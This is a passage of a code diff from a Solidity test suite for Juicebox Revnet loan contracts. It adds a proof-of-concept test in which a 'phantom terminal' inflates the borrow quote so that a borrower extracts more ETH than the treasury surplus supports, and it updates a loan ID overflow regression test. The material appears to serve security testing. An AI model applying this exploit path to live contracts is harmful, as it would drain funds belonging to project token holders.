+ vm.prank(USER);
238
+ uint256 userTokens = jbMultiTerminal().pay{value: realSurplus}(
239
+ REVNET_ID, JBConstants.NATIVE_TOKEN, realSurplus, USER, 0, "", ""
240
+ );
241
+
242
+ uint256 collateral = userTokens / 10;
243
+ uint256 taxRate = 5000;
244
+
245
+ uint256 honestBorrowable = JBCashOuts.cashOutFrom({
246
+ surplus: realSurplus, cashOutCount: collateral, totalSupply: userTokens, cashOutTaxRate: taxRate
247
+ });
248
+
249
+ uint256 inflatedBorrowable =
250
+ LOANS.borrowableAmountFrom(REVNET_ID, collateral, 18, uint32(uint160(JBConstants.NATIVE_TOKEN)));
251
+
252
+ assertGt(inflatedBorrowable, honestBorrowable, "phantom terminal should inflate borrow quote");
253
+ assertLe(inflatedBorrowable, realSurplus, "PoC should remain payable by the honest terminal");
254
+
255
+ _grantBurnPermission(USER, REVNET_ID, address(LOANS));
256
+
257
+ uint256 balanceBefore = USER.balance;
258
+ vm.prank(USER);
259
+ LOANS.borrowFrom(
260
+ REVNET_ID,
261
+ REVLoanSource({token: JBConstants.NATIVE_TOKEN, terminal: jbMultiTerminal()}),
262
+ inflatedBorrowable,
263
+ collateral,
264
+ payable(USER),
265
+ 25,
266
+ USER
267
+ );
268
+
269
+ uint256 balanceDelta = USER.balance - balanceBefore;
270
+ assertGt(balanceDelta, honestBorrowable, "borrower extracts more ETH than real treasury surplus supports");
271
+ }
272
+
273
+ function _deployFeeProject() internal {
274
+ JBAccountingContext[] memory acc = new JBAccountingContext[](1);
275
+ acc[0] = JBAccountingContext({
276
+ token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
277
+ });
278
+ JBTerminalConfig[] memory tc = new JBTerminalConfig[](1);
279
+ tc[0] = JBTerminalConfig({terminal: jbMultiTerminal(), accountingContextsToAccept: acc});
280
+ REVStageConfig[] memory stages = new REVStageConfig[](1);
281
+ stages[0] = REVStageConfig({
282
+ startsAtOrAfter: uint40(block.timestamp),
283
+ autoIssuances: new REVAutoIssuance[](0),
284
+ splitPercent: 0,
285
+ splits: new JBSplit[](0),
286
+ initialIssuance: uint112(1000e18),
287
+ issuanceCutFrequency: 0,
288
+ issuanceCutPercent: 0,
289
+ cashOutTaxRate: 0,
290
+ extraMetadata: 0
291
+ });
292
+ REVConfig memory feeConfig = REVConfig({
293
+ description: REVDescription("Fee Revnet", "FEE", "", "FEE_TOKEN"),
294
+ baseCurrency: uint32(uint160(JBConstants.NATIVE_TOKEN)),
295
+ splitOperator: multisig(),
296
+ stageConfigurations: stages
297
+ });
298
+ vm.prank(multisig());
299
+ REV_DEPLOYER.deployFor({
300
+ revnetId: FEE_PROJECT_ID,
301
+ configuration: feeConfig,
302
+ terminalConfigurations: tc,
303
+ suckerDeploymentConfiguration: REVSuckerDeploymentConfig({
304
+ deployerConfigurations: new JBSuckerDeployerConfig[](0), salt: keccak256("FEE")
305
+ }),
306
+ tiered721HookConfiguration: REVEmpty721Config.empty721Config(uint32(uint160(JBConstants.NATIVE_TOKEN))),
307
+ allowedPosts: REVEmpty721Config.emptyAllowedPosts()
308
+ });
309
+ }
310
+
311
+ function _deployRevnetWithPhantomTerminal() internal returns (uint256 revnetId) {
312
+ JBAccountingContext[] memory acc = new JBAccountingContext[](1);
313
+ acc[0] = JBAccountingContext({
314
+ token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
315
+ });
316
+ JBTerminalConfig[] memory tc = new JBTerminalConfig[](2);
317
+ tc[0] = JBTerminalConfig({terminal: jbMultiTerminal(), accountingContextsToAccept: acc});
318
+ tc[1] = JBTerminalConfig({terminal: PHANTOM_TERMINAL, accountingContextsToAccept: acc});
319
+
320
+ REVStageConfig[] memory stages = new REVStageConfig[](1);
321
+ JBSplit[] memory splits = new JBSplit[](1);
322
+ splits[0].beneficiary = payable(multisig());
323
+ splits[0].percent = 10_000;
324
+ stages[0] = REVStageConfig({
325
+ startsAtOrAfter: uint40(block.timestamp),
326
+ autoIssuances: new REVAutoIssuance[](0),
327
+ splitPercent: 0,
328
+ splits: splits,
329
+ initialIssuance: uint112(1000e18),
330
+ issuanceCutFrequency: 0,
331
+ issuanceCutPercent: 0,
332
+ cashOutTaxRate: 5000,
333
+ extraMetadata: 0
334
+ });
335
+
336
+ REVConfig memory config = REVConfig({
337
+ description: REVDescription("Phantom", "PHM", "", "PHM_TOKEN"),
338
+ baseCurrency: uint32(uint160(JBConstants.NATIVE_TOKEN)),
339
+ splitOperator: multisig(),
340
+ stageConfigurations: stages
341
+ });
342
+
343
+ vm.prank(multisig());
344
+ (revnetId,) = REV_DEPLOYER.deployFor({
345
+ revnetId: 0,
346
+ configuration: config,
347
+ terminalConfigurations: tc,
348
+ suckerDeploymentConfiguration: REVSuckerDeploymentConfig({
349
+ deployerConfigurations: new JBSuckerDeployerConfig[](0), salt: keccak256("PHANTOM")
350
+ }),
351
+ tiered721HookConfiguration: REVEmpty721Config.empty721Config(uint32(uint160(JBConstants.NATIVE_TOKEN))),
352
+ allowedPosts: REVEmpty721Config.emptyAllowedPosts()
353
+ });
354
+ }
355
+
356
+ function _grantBurnPermission(address account, uint256 revnetId, address operator) internal {
357
+ uint8[] memory permissionIds = new uint8[](1);
358
+ permissionIds[0] = JBPermissionIds.BURN_TOKENS;
359
+
360
+ vm.prank(account);
361
+ jbPermissions()
362
+ .setPermissionsFor(
363
+ account,
364
+ JBPermissionsData({operator: operator, projectId: uint56(revnetId), permissionIds: permissionIds})
365
+ );
366
+ }
367
+ }
@@ -38,12 +38,15 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
38
38
  import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
39
39
  import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
40
40
  import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
41
+ import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
42
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
41
43
  import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
42
44
  import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
43
45
  // Helper that provides empty 721 tier configs for revnet deployment.
44
46
  import {REVEmpty721Config} from "../helpers/REVEmpty721Config.sol";
45
47
  import {REVOwner} from "../../src/REVOwner.sol";
46
48
  import {IREVDeployer} from "../../src/interfaces/IREVDeployer.sol";
49
+ import {MockSuckerRegistry} from "../mock/MockSuckerRegistry.sol";
47
50
 
48
51
  /// @notice Regression tests for the loan ID overflow guard in REVLoans.
49
52
  /// @dev The totalLoansBorrowedFor counter must never exceed _ONE_TRILLION (1e12).
@@ -129,7 +132,14 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
129
132
 
130
133
  // Deploy the example 721 hook (needed as the implementation for the deployer).
131
134
  EXAMPLE_HOOK = new JB721TiersHook(
132
- jbDirectory(), jbPermissions(), jbPrices(), jbRulesets(), HOOK_STORE, jbSplits(), multisig()
135
+ jbDirectory(),
136
+ jbPermissions(),
137
+ jbPrices(),
138
+ jbRulesets(),
139
+ HOOK_STORE,
140
+ jbSplits(),
141
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
142
+ multisig()
133
143
  );
134
144
 
135
145
  // Deploy the address registry (used by the hook deployer).
@@ -155,6 +165,7 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
155
165
  // Deploy the REVLoans contract.
156
166
  LOANS_CONTRACT = new REVLoans({
157
167
  controller: jbController(),
168
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
158
169
  revId: FEE_PROJECT_ID,
159
170
  owner: address(this),
160
171
  permit2: permit2(),